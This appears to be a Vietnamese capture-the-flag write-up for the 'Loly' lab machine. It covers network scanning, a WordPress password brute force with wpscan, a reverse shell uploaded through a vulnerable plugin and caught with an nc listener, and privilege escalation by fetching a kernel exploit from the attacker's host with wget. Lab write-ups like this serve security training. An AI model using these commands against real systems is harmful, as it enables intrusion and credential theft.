Contents

Vulhub - Loly

Description

Link lab tại đây

Step

Reconnaissance

Đầu tiên ta sử dụng arp-scan để quét các địa chỉ IP có trong dải mạng. Nhận thấy có một IP lạ là 192.168.134.135.

https://github.com/g03m0n/pics/assets/130943529/01604d3d-6aa0-40a3-b0a9-8eaa9a891c57

Sử dụng nmap để kiểm tra các dịch vụ đang mở trên IP đó

https://github.com/g03m0n/pics/assets/130943529/605569cb-8af7-47ca-a3c6-4648c22bd7ab

Có cổng 80 đang mở và đang sử dụng nginx 1.10.3.

https://github.com/g03m0n/pics/assets/130943529/158bea40-1692-4c44-827c-ba2547694963

Enumeration

Tiến hành quét các directory bằng dirb

dirb 192.168.134.135

https://github.com/g03m0n/pics/assets/130943529/738a1e31-e335-4975-bca3-91f5e3175625

Ta thu được kết quả trang web này sử dụng Wordpress tại endpoint /wordpress.

https://github.com/g03m0n/pics/assets/130943529/7d526f65-637b-458d-9fd8-ef40788e1623

Giao diện chính của trang:

https://github.com/g03m0n/pics/assets/130943529/78bbf34c-018e-4ff6-976d-96b162bd1a76

Giao diện login:

https://github.com/g03m0n/pics/assets/130943529/64178c02-5765-4162-8237-36f523c63a6f

Tiến hành brute force username/password bằng cách sử dụng wpscan. Đầu tiên ta tìm username:

wpscan -url http://loly.lc/wordpress

https://github.com/g03m0n/pics/assets/130943529/ca4ed5d5-6c08-43e0-992c-6d4c98cb41b1

Ta thu được username là loly.

https://github.com/g03m0n/pics/assets/130943529/47d34f0c-6e9f-4a02-881e-32b5882241ca

Brute force password bằng query:

wpscan -url http://loly.lc/wordpress -U loly -P /usr/share/wordlists/rockyou.txt

https://github.com/g03m0n/pics/assets/130943529/da322f22-0411-4785-9e06-f6086e6d2908

Thu được mật khẩu: fernando Tiến hành đăng nhập

https://github.com/g03m0n/pics/assets/130943529/d18ffdcc-63e4-4836-be84-b2a26dc5d5e9

Exploitation

Đây là giao diện chính của trang web:

https://github.com/g03m0n/pics/assets/130943529/e798e8e0-d403-4fea-b2a0-424f41a3a5ed

Ta có thể thấy trang web sử dụng 1 plugin có tên là AdRotale version 5.8.6.2. Version này cho phép người dùng upload file zip và giải nén mà không có bất kỳ một phương thức kiểm tra nào:

https://github.com/g03m0n/pics/assets/130943529/ee63dcb6-c3f8-46bd-8100-bb889b717a8e

Ta có thể tận dụng lỗ hổng này để upload reverse-shell . Mở cổng 9001 trên máy attacker bằng query:

nc -nvlp 9001

Bây giờ, truy cập PHP reverse shell bằng cách load lại trang web như hình dưới đây:

https://github.com/g03m0n/pics/assets/130943529/7e9ef54f-fbd1-4400-9785-9449e2fd5edf

Thành công

https://github.com/g03m0n/pics/assets/130943529/3c775389-0748-4b91-813c-d3cef95c6030

Có thể nâng cấp shell này python pty:

python3 -c 'import pty; pty.spawn("/bin/bash")'

https://github.com/g03m0n/pics/assets/130943529/053ebc3d-8a64-4091-9237-879908ab4521

Sau đó thử grep với từ khóa loly ta tìm được mật khẩu DB có trong file wp-config.phplolyisabeautifulgirl

https://github.com/g03m0n/pics/assets/130943529/e377ee37-b2b6-4007-87e3-b60919696ce8

Privilege Escalation

Đầu tiên, ta thử kiểm tra phiên bản kernel của machine

uname -a

https://github.com/g03m0n/pics/assets/130943529/36ef4156-f4e1-47ff-a7fb-19d99e1887e3

Đây là một phiên bản khá cũ, thử tìm mã khai thác trên google thì thấy một mã khai thác trên exploit-db:

https://github.com/g03m0n/pics/assets/130943529/54e58d31-d4b5-482b-ab8b-474f950399f1

Ta wget nó về và compile:

wget http://192.168.134.134:8000/ex.c
gcc ex.c -o ex
chmod 777 ex

https://github.com/g03m0n/pics/assets/130943529/50cbd30b-c4ba-410b-bcd9-42f14d82cfa4 https://github.com/g03m0n/pics/assets/130943529/e32710e2-ee46-4e03-8f82-51f23350a2aa https://github.com/g03m0n/pics/assets/130943529/0614d379-e22f-4b5a-8e72-d2ee3433eab4

Thực thi file ex bằng query:

./ex

https://github.com/g03m0n/pics/assets/130943529/b0c8e664-ee12-498c-b795-40e4d46b0874